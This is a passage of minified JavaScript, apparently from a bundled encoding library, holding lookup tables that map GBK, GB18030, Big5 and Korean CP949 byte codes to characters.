"趲趶趷趹趻趽跀跁跂跅跇跈跉跊跍跐跒跓跔凇冖冢冥讠讦讧讪讴讵讷诂诃诋诏诎诒诓诔诖诘诙诜诟诠诤诨诩诮诰诳诶诹诼诿谀谂谄谇谌谏谑谒谔谕谖谙谛谘谝谟谠谡谥谧谪谫谮谯谲谳谵谶卩卺阝阢阡阱阪阽阼陂陉陔陟陧陬陲陴隈隍隗隰邗邛邝邙邬邡邴邳邶邺"], ["db40", "跕跘跙跜跠跡跢跥跦跧跩跭跮跰跱跲跴跶跼跾", 6, "踆踇踈踋踍踎踐踑踒踓踕", 7, "踠踡踤", 4, "踫踭踰踲踳踴踶踷踸踻踼踾"], ["db80", "踿蹃蹅蹆蹌", 4, "蹓", 5, "蹚", 11, "蹧蹨蹪蹫蹮蹱邸邰郏郅邾郐郄郇郓郦郢郜郗郛郫郯郾鄄鄢鄞鄣鄱鄯鄹酃酆刍奂劢劬劭劾哿勐勖勰叟燮矍廴凵凼鬯厶弁畚巯坌垩垡塾墼壅壑圩圬圪圳圹圮圯坜圻坂坩垅坫垆坼坻坨坭坶坳垭垤垌垲埏垧垴垓垠埕埘埚埙埒垸埴埯埸埤埝"], ["dc40", "蹳蹵蹷", 4, "蹽蹾躀躂躃躄躆躈", 6, "躑躒躓躕", 6, "躝躟", 11, "躭躮躰躱躳", 6, "躻", 7], ["dc80", "軃", 10, "軏", 21, "堋堍埽埭堀堞堙塄堠塥塬墁墉墚墀馨鼙懿艹艽艿芏芊芨芄芎芑芗芙芫芸芾芰苈苊苣芘芷芮苋苌苁芩芴芡芪芟苄苎芤苡茉苷苤茏茇苜苴苒苘茌苻苓茑茚茆茔茕苠苕茜荑荛荜茈莒茼茴茱莛荞茯荏荇荃荟荀茗荠茭茺茳荦荥"], ["dd40", "軥", 62], ["dd80", "輤", 32, "荨茛荩荬荪荭荮莰荸莳莴莠莪莓莜莅荼莶莩荽莸荻莘莞莨莺莼菁萁菥菘堇萘萋菝菽菖萜萸萑萆菔菟萏萃菸菹菪菅菀萦菰菡葜葑葚葙葳蒇蒈葺蒉葸萼葆葩葶蒌蒎萱葭蓁蓍蓐蓦蒽蓓蓊蒿蒺蓠蒡蒹蒴蒗蓥蓣蔌甍蔸蓰蔹蔟蔺"], ["de40", "轅", 32, "轪辀辌辒辝辠辡辢辤辥辦辧辪辬辭辮辯農辳辴辵辷辸辺辻込辿迀迃迆"], ["de80", "迉", 4, "迏迒迖迗迚迠迡迣迧迬迯迱迲迴迵迶迺迻迼迾迿逇逈逌逎逓逕逘蕖蔻蓿蓼蕙蕈蕨蕤蕞蕺瞢蕃蕲蕻薤薨薇薏蕹薮薜薅薹薷薰藓藁藜藿蘧蘅蘩蘖蘼廾弈夼奁耷奕奚奘匏尢尥尬尴扌扪抟抻拊拚拗拮挢拶挹捋捃掭揶捱捺掎掴捭掬掊捩掮掼揲揸揠揿揄揞揎摒揆掾摅摁搋搛搠搌搦搡摞撄摭撖"], ["df40", "這逜連逤逥逧", 5, "逰", 4, "逷逹逺逽逿遀遃遅遆遈", 4, "過達違遖遙遚遜", 5, "遤遦遧適遪遫遬遯", 4, "遶", 6, "遾邁"], ["df80", "還邅邆邇邉邊邌", 4, "邒邔邖邘邚邜邞邟邠邤邥邧邨邩邫邭邲邷邼邽邿郀摺撷撸撙撺擀擐擗擤擢攉攥攮弋忒甙弑卟叱叽叩叨叻吒吖吆呋呒呓呔呖呃吡呗呙吣吲咂咔呷呱呤咚咛咄呶呦咝哐咭哂咴哒咧咦哓哔呲咣哕咻咿哌哙哚哜咩咪咤哝哏哞唛哧唠哽唔哳唢唣唏唑唧唪啧喏喵啉啭啁啕唿啐唼"], ["e040", "郂郃郆郈郉郋郌郍郒郔郕郖郘郙郚郞郟郠郣郤郥郩郪郬郮郰郱郲郳郵郶郷郹郺郻郼郿鄀鄁鄃鄅", 19, "鄚鄛鄜"], ["e080", "鄝鄟鄠鄡鄤", 10, "鄰鄲", 6, "鄺", 8, "酄唷啖啵啶啷唳唰啜喋嗒喃喱喹喈喁喟啾嗖喑啻嗟喽喾喔喙嗪嗷嗉嘟嗑嗫嗬嗔嗦嗝嗄嗯嗥嗲嗳嗌嗍嗨嗵嗤辔嘞嘈嘌嘁嘤嘣嗾嘀嘧嘭噘嘹噗嘬噍噢噙噜噌噔嚆噤噱噫噻噼嚅嚓嚯囔囗囝囡囵囫囹囿圄圊圉圜帏帙帔帑帱帻帼"], ["e140", "酅酇酈酑酓酔酕酖酘酙酛酜酟酠酦酧酨酫酭酳酺酻酼醀", 4, "醆醈醊醎醏醓", 6, "醜", 5, "醤", 5, "醫醬醰醱醲醳醶醷醸醹醻"], ["e180", "醼", 10, "釈釋釐釒", 9, "針", 8, "帷幄幔幛幞幡岌屺岍岐岖岈岘岙岑岚岜岵岢岽岬岫岱岣峁岷峄峒峤峋峥崂崃崧崦崮崤崞崆崛嵘崾崴崽嵬嵛嵯嵝嵫嵋嵊嵩嵴嶂嶙嶝豳嶷巅彳彷徂徇徉後徕徙徜徨徭徵徼衢彡犭犰犴犷犸狃狁狎狍狒狨狯狩狲狴狷猁狳猃狺"], ["e240", "釦", 62], ["e280", "鈥", 32, "狻猗猓猡猊猞猝猕猢猹猥猬猸猱獐獍獗獠獬獯獾舛夥飧夤夂饣饧", 5, "饴饷饽馀馄馇馊馍馐馑馓馔馕庀庑庋庖庥庠庹庵庾庳赓廒廑廛廨廪膺忄忉忖忏怃忮怄忡忤忾怅怆忪忭忸怙怵怦怛怏怍怩怫怊怿怡恸恹恻恺恂"], ["e340", "鉆", 45, "鉵", 16], ["e380", "銆", 7, "銏", 24, "恪恽悖悚悭悝悃悒悌悛惬悻悱惝惘惆惚悴愠愦愕愣惴愀愎愫慊慵憬憔憧憷懔懵忝隳闩闫闱闳闵闶闼闾阃阄阆阈阊阋阌阍阏阒阕阖阗阙阚丬爿戕氵汔汜汊沣沅沐沔沌汨汩汴汶沆沩泐泔沭泷泸泱泗沲泠泖泺泫泮沱泓泯泾"], ["e440", "銨", 5, "銯", 24, "鋉", 31], ["e480", "鋩", 32, "洹洧洌浃浈洇洄洙洎洫浍洮洵洚浏浒浔洳涑浯涞涠浞涓涔浜浠浼浣渚淇淅淞渎涿淠渑淦淝淙渖涫渌涮渫湮湎湫溲湟溆湓湔渲渥湄滟溱溘滠漭滢溥溧溽溻溷滗溴滏溏滂溟潢潆潇漤漕滹漯漶潋潴漪漉漩澉澍澌潸潲潼潺濑"], ["e540", "錊", 51, "錿", 10], ["e580", "鍊", 31, "鍫濉澧澹澶濂濡濮濞濠濯瀚瀣瀛瀹瀵灏灞宀宄宕宓宥宸甯骞搴寤寮褰寰蹇謇辶迓迕迥迮迤迩迦迳迨逅逄逋逦逑逍逖逡逵逶逭逯遄遑遒遐遨遘遢遛暹遴遽邂邈邃邋彐彗彖彘尻咫屐屙孱屣屦羼弪弩弭艴弼鬻屮妁妃妍妩妪妣"], ["e640", "鍬", 34, "鎐", 27], ["e680", "鎬", 29, "鏋鏌鏍妗姊妫妞妤姒妲妯姗妾娅娆姝娈姣姘姹娌娉娲娴娑娣娓婀婧婊婕娼婢婵胬媪媛婷婺媾嫫媲嫒嫔媸嫠嫣嫱嫖嫦嫘嫜嬉嬗嬖嬲嬷孀尕尜孚孥孳孑孓孢驵驷驸驺驿驽骀骁骅骈骊骐骒骓骖骘骛骜骝骟骠骢骣骥骧纟纡纣纥纨纩"], ["e740", "鏎", 7, "鏗", 54], ["e780", "鐎", 32, "纭纰纾绀绁绂绉绋绌绐绔绗绛绠绡绨绫绮绯绱绲缍绶绺绻绾缁缂缃缇缈缋缌缏缑缒缗缙缜缛缟缡", 6, "缪缫缬缭缯", 4, "缵幺畿巛甾邕玎玑玮玢玟珏珂珑玷玳珀珉珈珥珙顼琊珩珧珞玺珲琏琪瑛琦琥琨琰琮琬"], ["e840", "鐯", 14, "鐿", 43, "鑬鑭鑮鑯"], ["e880", "鑰", 20, "钑钖钘铇铏铓铔铚铦铻锜锠琛琚瑁瑜瑗瑕瑙瑷瑭瑾璜璎璀璁璇璋璞璨璩璐璧瓒璺韪韫韬杌杓杞杈杩枥枇杪杳枘枧杵枨枞枭枋杷杼柰栉柘栊柩枰栌柙枵柚枳柝栀柃枸柢栎柁柽栲栳桠桡桎桢桄桤梃栝桕桦桁桧桀栾桊桉栩梵梏桴桷梓桫棂楮棼椟椠棹"], ["e940", "锧锳锽镃镈镋镕镚镠镮镴镵長", 7, "門", 42], ["e980", "閫", 32, "椤棰椋椁楗棣椐楱椹楠楂楝榄楫榀榘楸椴槌榇榈槎榉楦楣楹榛榧榻榫榭槔榱槁槊槟榕槠榍槿樯槭樗樘橥槲橄樾檠橐橛樵檎橹樽樨橘橼檑檐檩檗檫猷獒殁殂殇殄殒殓殍殚殛殡殪轫轭轱轲轳轵轶轸轷轹轺轼轾辁辂辄辇辋"], ["ea40", "闌", 27, "闬闿阇阓阘阛阞阠阣", 6, "阫阬阭阯阰阷阸阹阺阾陁陃陊陎陏陑陒陓陖陗"], ["ea80", "陘陙陚陜陝陞陠陣陥陦陫陭", 4, "陳陸", 12, "隇隉隊辍辎辏辘辚軎戋戗戛戟戢戡戥戤戬臧瓯瓴瓿甏甑甓攴旮旯旰昊昙杲昃昕昀炅曷昝昴昱昶昵耆晟晔晁晏晖晡晗晷暄暌暧暝暾曛曜曦曩贲贳贶贻贽赀赅赆赈赉赇赍赕赙觇觊觋觌觎觏觐觑牮犟牝牦牯牾牿犄犋犍犏犒挈挲掰"], ["eb40", "隌階隑隒隓隕隖隚際隝", 9, "隨", 7, "隱隲隴隵隷隸隺隻隿雂雃雈雊雋雐雑雓雔雖", 9, "雡", 6, "雫"], ["eb80", "雬雭雮雰雱雲雴雵雸雺電雼雽雿霂霃霅霊霋霌霐霑霒霔霕霗", 4, "霝霟霠搿擘耄毪毳毽毵毹氅氇氆氍氕氘氙氚氡氩氤氪氲攵敕敫牍牒牖爰虢刖肟肜肓肼朊肽肱肫肭肴肷胧胨胩胪胛胂胄胙胍胗朐胝胫胱胴胭脍脎胲胼朕脒豚脶脞脬脘脲腈腌腓腴腙腚腱腠腩腼腽腭腧塍媵膈膂膑滕膣膪臌朦臊膻"], ["ec40", "霡", 8, "霫霬霮霯霱霳", 4, "霺霻霼霽霿", 18, "靔靕靗靘靚靜靝靟靣靤靦靧靨靪", 7], ["ec80", "靲靵靷", 4, "靽", 7, "鞆", 4, "鞌鞎鞏鞐鞓鞕鞖鞗鞙", 4, "臁膦欤欷欹歃歆歙飑飒飓飕飙飚殳彀毂觳斐齑斓於旆旄旃旌旎旒旖炀炜炖炝炻烀炷炫炱烨烊焐焓焖焯焱煳煜煨煅煲煊煸煺熘熳熵熨熠燠燔燧燹爝爨灬焘煦熹戾戽扃扈扉礻祀祆祉祛祜祓祚祢祗祠祯祧祺禅禊禚禧禳忑忐"], ["ed40", "鞞鞟鞡鞢鞤", 6, "鞬鞮鞰鞱鞳鞵", 46], ["ed80", "韤韥韨韮", 4, "韴韷", 23, "怼恝恚恧恁恙恣悫愆愍慝憩憝懋懑戆肀聿沓泶淼矶矸砀砉砗砘砑斫砭砜砝砹砺砻砟砼砥砬砣砩硎硭硖硗砦硐硇硌硪碛碓碚碇碜碡碣碲碹碥磔磙磉磬磲礅磴礓礤礞礴龛黹黻黼盱眄眍盹眇眈眚眢眙眭眦眵眸睐睑睇睃睚睨"], ["ee40", "頏", 62], ["ee80", "顎", 32, "睢睥睿瞍睽瞀瞌瞑瞟瞠瞰瞵瞽町畀畎畋畈畛畲畹疃罘罡罟詈罨罴罱罹羁罾盍盥蠲钅钆钇钋钊钌钍钏钐钔钗钕钚钛钜钣钤钫钪钭钬钯钰钲钴钶", 4, "钼钽钿铄铈", 6, "铐铑铒铕铖铗铙铘铛铞铟铠铢铤铥铧铨铪"], ["ef40", "顯", 5, "颋颎颒颕颙颣風", 37, "飏飐飔飖飗飛飜飝飠", 4], ["ef80", "飥飦飩", 30, "铩铫铮铯铳铴铵铷铹铼铽铿锃锂锆锇锉锊锍锎锏锒", 4, "锘锛锝锞锟锢锪锫锩锬锱锲锴锶锷锸锼锾锿镂锵镄镅镆镉镌镎镏镒镓镔镖镗镘镙镛镞镟镝镡镢镤", 8, "镯镱镲镳锺矧矬雉秕秭秣秫稆嵇稃稂稞稔"], ["f040", "餈", 4, "餎餏餑", 28, "餯", 26], ["f080", "饊", 9, "饖", 12, "饤饦饳饸饹饻饾馂馃馉稹稷穑黏馥穰皈皎皓皙皤瓞瓠甬鸠鸢鸨", 4, "鸲鸱鸶鸸鸷鸹鸺鸾鹁鹂鹄鹆鹇鹈鹉鹋鹌鹎鹑鹕鹗鹚鹛鹜鹞鹣鹦", 6, "鹱鹭鹳疒疔疖疠疝疬疣疳疴疸痄疱疰痃痂痖痍痣痨痦痤痫痧瘃痱痼痿瘐瘀瘅瘌瘗瘊瘥瘘瘕瘙"], ["f140", "馌馎馚", 10, "馦馧馩", 47], ["f180", "駙", 32, "瘛瘼瘢瘠癀瘭瘰瘿瘵癃瘾瘳癍癞癔癜癖癫癯翊竦穸穹窀窆窈窕窦窠窬窨窭窳衤衩衲衽衿袂袢裆袷袼裉裢裎裣裥裱褚裼裨裾裰褡褙褓褛褊褴褫褶襁襦襻疋胥皲皴矜耒耔耖耜耠耢耥耦耧耩耨耱耋耵聃聆聍聒聩聱覃顸颀颃"], ["f240", "駺", 62], ["f280", "騹", 32, "颉颌颍颏颔颚颛颞颟颡颢颥颦虍虔虬虮虿虺虼虻蚨蚍蚋蚬蚝蚧蚣蚪蚓蚩蚶蛄蚵蛎蚰蚺蚱蚯蛉蛏蚴蛩蛱蛲蛭蛳蛐蜓蛞蛴蛟蛘蛑蜃蜇蛸蜈蜊蜍蜉蜣蜻蜞蜥蜮蜚蜾蝈蜴蜱蜩蜷蜿螂蜢蝽蝾蝻蝠蝰蝌蝮螋蝓蝣蝼蝤蝙蝥螓螯螨蟒"], ["f340", "驚", 17, "驲骃骉骍骎骔骕骙骦骩", 6, "骲骳骴骵骹骻骽骾骿髃髄髆", 4, "髍髎髏髐髒體髕髖髗髙髚髛髜"], ["f380", "髝髞髠髢髣髤髥髧髨髩髪髬髮髰", 8, "髺髼", 6, "鬄鬅鬆蟆螈螅螭螗螃螫蟥螬螵螳蟋蟓螽蟑蟀蟊蟛蟪蟠蟮蠖蠓蟾蠊蠛蠡蠹蠼缶罂罄罅舐竺竽笈笃笄笕笊笫笏筇笸笪笙笮笱笠笥笤笳笾笞筘筚筅筵筌筝筠筮筻筢筲筱箐箦箧箸箬箝箨箅箪箜箢箫箴篑篁篌篝篚篥篦篪簌篾篼簏簖簋"], ["f440", "鬇鬉", 5, "鬐鬑鬒鬔", 10, "鬠鬡鬢鬤", 10, "鬰鬱鬳", 7, "鬽鬾鬿魀魆魊魋魌魎魐魒魓魕", 5], ["f480", "魛", 32, "簟簪簦簸籁籀臾舁舂舄臬衄舡舢舣舭舯舨舫舸舻舳舴舾艄艉艋艏艚艟艨衾袅袈裘裟襞羝羟羧羯羰羲籼敉粑粝粜粞粢粲粼粽糁糇糌糍糈糅糗糨艮暨羿翎翕翥翡翦翩翮翳糸絷綦綮繇纛麸麴赳趄趔趑趱赧赭豇豉酊酐酎酏酤"], ["f540", "魼", 62], ["f580", "鮻", 32, "酢酡酰酩酯酽酾酲酴酹醌醅醐醍醑醢醣醪醭醮醯醵醴醺豕鹾趸跫踅蹙蹩趵趿趼趺跄跖跗跚跞跎跏跛跆跬跷跸跣跹跻跤踉跽踔踝踟踬踮踣踯踺蹀踹踵踽踱蹉蹁蹂蹑蹒蹊蹰蹶蹼蹯蹴躅躏躔躐躜躞豸貂貊貅貘貔斛觖觞觚觜"], ["f640", "鯜", 62], ["f680", "鰛", 32, "觥觫觯訾謦靓雩雳雯霆霁霈霏霎霪霭霰霾龀龃龅", 5, "龌黾鼋鼍隹隼隽雎雒瞿雠銎銮鋈錾鍪鏊鎏鐾鑫鱿鲂鲅鲆鲇鲈稣鲋鲎鲐鲑鲒鲔鲕鲚鲛鲞", 5, "鲥", 4, "鲫鲭鲮鲰", 7, "鲺鲻鲼鲽鳄鳅鳆鳇鳊鳋"], ["f740", "鰼", 62], ["f780", "鱻鱽鱾鲀鲃鲄鲉鲊鲌鲏鲓鲖鲗鲘鲙鲝鲪鲬鲯鲹鲾", 4, "鳈鳉鳑鳒鳚鳛鳠鳡鳌", 4, "鳓鳔鳕鳗鳘鳙鳜鳝鳟鳢靼鞅鞑鞒鞔鞯鞫鞣鞲鞴骱骰骷鹘骶骺骼髁髀髅髂髋髌髑魅魃魇魉魈魍魑飨餍餮饕饔髟髡髦髯髫髻髭髹鬈鬏鬓鬟鬣麽麾縻麂麇麈麋麒鏖麝麟黛黜黝黠黟黢黩黧黥黪黯鼢鼬鼯鼹鼷鼽鼾齄"], ["f840", "鳣", 62], ["f880", "鴢", 32], ["f940", "鵃", 62], ["f980", "鶂", 32], ["fa40", "鶣", 62], ["fa80", "鷢", 32], ["fb40", "鸃", 27, "鸤鸧鸮鸰鸴鸻鸼鹀鹍鹐鹒鹓鹔鹖鹙鹝鹟鹠鹡鹢鹥鹮鹯鹲鹴", 9, "麀"], ["fb80", "麁麃麄麅麆麉麊麌", 5, "麔", 8, "麞麠", 5, "麧麨麩麪"], ["fc40", "麫", 8, "麵麶麷麹麺麼麿", 4, "黅黆黇黈黊黋黌黐黒黓黕黖黗黙黚點黡黣黤黦黨黫黬黭黮黰", 8, "黺黽黿", 6], ["fc80", "鼆", 4, "鼌鼏鼑鼒鼔鼕鼖鼘鼚", 5, "鼡鼣", 8, "鼭鼮鼰鼱"], ["fd40", "鼲", 4, "鼸鼺鼼鼿", 4, "齅", 10, "齒", 38], ["fd80", "齹", 5, "龁龂龍", 11, "龜龝龞龡", 4, "郎凉秊裏隣"], ["fe40", "兀嗀﨎﨏﨑﨓﨔礼﨟蘒﨡﨣﨤﨧﨨﨩"]]
    }, function (t, e) {
        t.exports = [["a140", "", 62], ["a180", "", 32], ["a240", "", 62], ["a280", "", 32], ["a2ab", "", 5], ["a2e3", "€"], ["a2ef", ""], ["a2fd", ""], ["a340", "", 62], ["a380", "", 31, " "], ["a440", "", 62], ["a480", "", 32], ["a4f4", "", 10], ["a540", "", 62], ["a580", "", 32], ["a5f7", "", 7], ["a640", "", 62], ["a680", "", 32], ["a6b9", "", 7], ["a6d9", "", 6], ["a6ec", ""], ["a6f3", ""], ["a6f6", "", 8], ["a740", "", 62], ["a780", "", 32], ["a7c2", "", 14], ["a7f2", "", 12], ["a896", "", 10], ["a8bc", ""], ["a8bf", "ǹ"], ["a8c1", ""], ["a8ea", "", 20], ["a958", ""], ["a95b", ""], ["a95d", ""], ["a989", "〾⿰", 11], ["a997", "", 12], ["a9f0", "", 14], ["aaa1", "", 93], ["aba1", "", 93], ["aca1", "", 93], ["ada1", "", 93], ["aea1", "", 93], ["afa1", "", 93], ["d7fa", "", 4], ["f8a1", "", 93], ["f9a1", "", 93], ["faa1", "", 93], ["fba1", "", 93], ["fca1", "", 93], ["fda1", "", 93], ["fe50", "⺁⺄㑳㑇⺈⺋㖞㘚㘎⺌⺗㥮㤘㧏㧟㩳㧐㭎㱮㳠⺧⺪䁖䅟⺮䌷⺳⺶⺷䎱䎬⺻䏝䓖䙡䙌"], ["fe80", "䜣䜩䝼䞍⻊䥇䥺䥽䦂䦃䦅䦆䦟䦛䦷䦶䲣䲟䲠䲡䱷䲢䴓", 6, "䶮", 93]]
    }, function (t, e) {
        t.exports = {
            uChars: [128, 165, 169, 178, 184, 216, 226, 235, 238, 244, 248, 251, 253, 258, 276, 284, 300, 325, 329, 334, 364, 463, 465, 467, 469, 471, 473, 475, 477, 506, 594, 610, 712, 716, 730, 930, 938, 962, 970, 1026, 1104, 1106, 8209, 8215, 8218, 8222, 8231, 8241, 8244, 8246, 8252, 8365, 8452, 8454, 8458, 8471, 8482, 8556, 8570, 8596, 8602, 8713, 8720, 8722, 8726, 8731, 8737, 8740, 8742, 8748, 8751, 8760, 8766, 8777, 8781, 8787, 8802, 8808, 8816, 8854, 8858, 8870, 8896, 8979, 9322, 9372, 9548, 9588, 9616, 9622, 9634, 9652, 9662, 9672, 9676, 9680, 9702, 9735, 9738, 9793, 9795, 11906, 11909, 11913, 11917, 11928, 11944, 11947, 11951, 11956, 11960, 11964, 11979, 12284, 12292, 12312, 12319, 12330, 12351, 12436, 12447, 12535, 12543, 12586, 12842, 12850, 12964, 13200, 13215, 13218, 13253, 13263, 13267, 13270, 13384, 13428, 13727, 13839, 13851, 14617, 14703, 14801, 14816, 14964, 15183, 15471, 15585, 16471, 16736, 17208, 17325, 17330, 17374, 17623, 17997, 18018, 18212, 18218, 18301, 18318, 18760, 18811, 18814, 18820, 18823, 18844, 18848, 18872, 19576, 19620, 19738, 19887, 40870, 59244, 59336, 59367, 59413, 59417, 59423, 59431, 59437, 59443, 59452, 59460, 59478, 59493, 63789, 63866, 63894, 63976, 63986, 64016, 64018, 64021, 64025, 64034, 64037, 64042, 65074, 65093, 65107, 65112, 65127, 65132, 65375, 65510, 65536],
            gbChars: [0, 36, 38, 45, 50, 81, 89, 95, 96, 100, 103, 104, 105, 109, 126, 133, 148, 172, 175, 179, 208, 306, 307, 308, 309, 310, 311, 312, 313, 341, 428, 443, 544, 545, 558, 741, 742, 749, 750, 805, 819, 820, 7922, 7924, 7925, 7927, 7934, 7943, 7944, 7945, 7950, 8062, 8148, 8149, 8152, 8164, 8174, 8236, 8240, 8262, 8264, 8374, 8380, 8381, 8384, 8388, 8390, 8392, 8393, 8394, 8396, 8401, 8406, 8416, 8419, 8424, 8437, 8439, 8445, 8482, 8485, 8496, 8521, 8603, 8936, 8946, 9046, 9050, 9063, 9066, 9076, 9092, 9100, 9108, 9111, 9113, 9131, 9162, 9164, 9218, 9219, 11329, 11331, 11334, 11336, 11346, 11361, 11363, 11366, 11370, 11372, 11375, 11389, 11682, 11686, 11687, 11692, 11694, 11714, 11716, 11723, 11725, 11730, 11736, 11982, 11989, 12102, 12336, 12348, 12350, 12384, 12393, 12395, 12397, 12510, 12553, 12851, 12962, 12973, 13738, 13823, 13919, 13933, 14080, 14298, 14585, 14698, 15583, 15847, 16318, 16434, 16438, 16481, 16729, 17102, 17122, 17315, 17320, 17402, 17418, 17859, 17909, 17911, 17915, 17916, 17936, 17939, 17961, 18664, 18703, 18814, 18962, 19043, 33469, 33470, 33471, 33484, 33485, 33490, 33497, 33501, 33505, 33513, 33520, 33536, 33550, 37845, 37921, 37948, 38029, 38038, 38064, 38065, 38066, 38069, 38075, 38076, 38078, 39108, 39109, 39113, 39114, 39115, 39116, 39265, 39394, 189e3]
        }
    }, function (t, e) {
        t.exports = [["0", "\0", 127], ["8141", "갂갃갅갆갋", 4, "갘갞갟갡갢갣갥", 6, "갮갲갳갴"], ["8161", "갵갶갷갺갻갽갾갿걁", 9, "걌걎", 5, "걕"], ["8181", "걖걗걙걚걛걝", 18, "걲걳걵걶걹걻", 4, "겂겇겈겍겎겏겑겒겓겕", 6, "겞겢", 5, "겫겭겮겱", 6, "겺겾겿곀곂곃곅곆곇곉곊곋곍", 7, "곖곘", 7, "곢곣곥곦곩곫곭곮곲곴곷", 4, "곾곿괁괂괃괅괇", 4, "괎괐괒괓"], ["8241", "괔괕괖괗괙괚괛괝괞괟괡", 7, "괪괫괮", 5], ["8261", "괶괷괹괺괻괽", 6, "굆굈굊", 5, "굑굒굓굕굖굗"], ["8281", "굙", 7, "굢굤", 7, "굮굯굱굲굷굸굹굺굾궀궃", 4, "궊궋궍궎궏궑", 10, "궞", 5, "궥", 17, "궸", 7, "귂귃귅귆귇귉", 6, "귒귔", 7, "귝귞귟귡귢귣귥", 18], ["8341", "귺귻귽귾긂", 5, "긊긌긎", 5, "긕", 7], ["8361", "긝", 18, "긲긳긵긶긹긻긼"], ["8381", "긽긾긿깂깄깇깈깉깋깏깑깒깓깕깗", 4, "깞깢깣깤깦깧깪깫깭깮깯깱", 6, "깺깾", 5, "꺆", 5, "꺍", 46, "꺿껁껂껃껅", 6, "껎껒", 5, "껚껛껝", 8], ["8441", "껦껧껩껪껬껮", 5, "껵껶껷껹껺껻껽", 8], ["8461", "꼆꼉꼊꼋꼌꼎꼏꼑", 18], ["8481", "꼤", 7, "꼮꼯꼱꼳꼵", 6, "꼾꽀꽄꽅꽆꽇꽊", 5, "꽑", 10, "꽞", 5, "꽦", 18, "꽺", 5, "꾁꾂꾃꾅꾆꾇꾉", 6, "꾒꾓꾔꾖", 5, "꾝", 26, "꾺꾻꾽꾾"], ["8541", "꾿꿁", 5, "꿊꿌꿏", 4, "꿕", 6, "꿝", 4], ["8561", "꿢", 5, "꿪", 5, "꿲꿳꿵꿶꿷꿹", 6, "뀂뀃"], ["8581", "뀅", 6, "뀍뀎뀏뀑뀒뀓뀕", 6, "뀞", 9, "뀩", 26, "끆끇끉끋끍끏끐끑끒끖끘끚끛끜끞", 29, "끾끿낁낂낃낅", 6, "낎낐낒", 5, "낛낝낞낣낤"], ["8641", "낥낦낧낪낰낲낶낷낹낺낻낽", 6, "냆냊", 5, "냒"], ["8661", "냓냕냖냗냙", 6, "냡냢냣냤냦", 10], ["8681", "냱", 22, "넊넍넎넏넑넔넕넖넗넚넞", 4, "넦넧넩넪넫넭", 6, "넶넺", 5, "녂녃녅녆녇녉", 6, "녒녓녖녗녙녚녛녝녞녟녡", 22, "녺녻녽녾녿놁놃", 4, "놊놌놎놏놐놑놕놖놗놙놚놛놝"], ["8741", "놞", 9, "놩", 15], ["8761", "놹", 18, "뇍뇎뇏뇑뇒뇓뇕"], ["8781", "뇖", 5, "뇞뇠", 7, "뇪뇫뇭뇮뇯뇱", 7, "뇺뇼뇾", 5, "눆눇눉눊눍", 6, "눖눘눚", 5, "눡", 18, "눵", 6, "눽", 26, "뉙뉚뉛뉝뉞뉟뉡", 6, "뉪", 4], ["8841", "뉯", 4, "뉶", 5, "뉽", 6, "늆늇늈늊", 4], ["8861", "늏늒늓늕늖늗늛", 4, "늢늤늧늨늩늫늭늮늯늱늲늳늵늶늷"], ["8881", "늸", 15, "닊닋닍닎닏닑닓", 4, "닚닜닞닟닠닡닣닧닩닪닰닱닲닶닼닽닾댂댃댅댆댇댉", 6, "댒댖", 5, "댝", 54, "덗덙덚덝덠덡덢덣"], ["8941", "덦덨덪덬덭덯덲덳덵덶덷덹", 6, "뎂뎆", 5, "뎍"], ["8961", "뎎뎏뎑뎒뎓뎕", 10, "뎢", 5, "뎩뎪뎫뎭"], ["8981", "뎮", 21, "돆돇돉돊돍돏돑돒돓돖돘돚돜돞돟돡돢돣돥돦돧돩", 18, "돽", 18, "됑", 6, "됙됚됛됝됞됟됡", 6, "됪됬", 7, "됵", 15], ["8a41", "둅", 10, "둒둓둕둖둗둙", 6, "둢둤둦"], ["8a61", "둧", 4, "둭", 18, "뒁뒂"], ["8a81", "뒃", 4, "뒉", 19, "뒞", 5, "뒥뒦뒧뒩뒪뒫뒭", 7, "뒶뒸뒺", 5, "듁듂듃듅듆듇듉", 6, "듑듒듓듔듖", 5, "듞듟듡듢듥듧", 4, "듮듰듲", 5, "듹", 26, "딖딗딙딚딝"], ["8b41", "딞", 5, "딦딫", 4, "딲딳딵딶딷딹", 6, "땂땆"], ["8b61", "땇땈땉땊땎땏땑땒땓땕", 6, "땞땢", 8], ["8b81", "땫", 52, "떢떣떥떦떧떩떬떭떮떯떲떶", 4, "떾떿뗁뗂뗃뗅", 6, "뗎뗒", 5, "뗙", 18, "뗭", 18], ["8c41", "똀", 15, "똒똓똕똖똗똙", 4], ["8c61", "똞", 6, "똦", 5, "똭", 6, "똵", 5], ["8c81", "똻", 12, "뙉", 26, "뙥뙦뙧뙩", 50, "뚞뚟뚡뚢뚣뚥", 5, "뚭뚮뚯뚰뚲", 16], ["8d41", "뛃", 16, "뛕", 8], ["8d61", "뛞", 17, "뛱뛲뛳뛵뛶뛷뛹뛺"], ["8d81", "뛻", 4, "뜂뜃뜄뜆", 33, "뜪뜫뜭뜮뜱", 6, "뜺뜼", 7, "띅띆띇띉띊띋띍", 6, "띖", 9, "띡띢띣띥띦띧띩", 6, "띲띴띶", 5, "띾띿랁랂랃랅", 6, "랎랓랔랕랚랛랝랞"], ["8e41", "랟랡", 6, "랪랮", 5, "랶랷랹", 8], ["8e61", "럂", 4, "럈럊", 19], ["8e81", "럞", 13, "럮럯럱럲럳럵", 6, "럾렂", 4, "렊렋렍렎렏렑", 6, "렚렜렞", 5, "렦렧렩렪렫렭", 6, "렶렺", 5, "롁롂롃롅", 11, "롒롔", 7, "롞롟롡롢롣롥", 6, "롮롰롲", 5, "롹롺롻롽", 7], ["8f41", "뢅", 7, "뢎", 17], ["8f61", "뢠", 7, "뢩", 6, "뢱뢲뢳뢵뢶뢷뢹", 4], ["8f81", "뢾뢿룂룄룆", 5, "룍룎룏룑룒룓룕", 7, "룞룠룢", 5, "룪룫룭룮룯룱", 6, "룺룼룾", 5, "뤅", 18, "뤙", 6, "뤡", 26, "뤾뤿륁륂륃륅", 6, "륍륎륐륒", 5], ["9041", "륚륛륝륞륟륡", 6, "륪륬륮", 5, "륶륷륹륺륻륽"], ["9061", "륾", 5, "릆릈릋릌릏", 15], ["9081", "릟", 12, "릮릯릱릲릳릵", 6, "릾맀맂", 5, "맊맋맍맓", 4, "맚맜맟맠맢맦맧맩맪맫맭", 6, "맶맻", 4, "먂", 5, "먉", 11, "먖", 33, "먺먻먽먾먿멁멃멄멅멆"], ["9141", "멇멊멌멏멐멑멒멖멗멙멚멛멝", 6, "멦멪", 5], ["9161", "멲멳멵멶멷멹", 9, "몆몈몉몊몋몍", 5], ["9181", "몓", 20, "몪몭몮몯몱몳", 4, "몺몼몾", 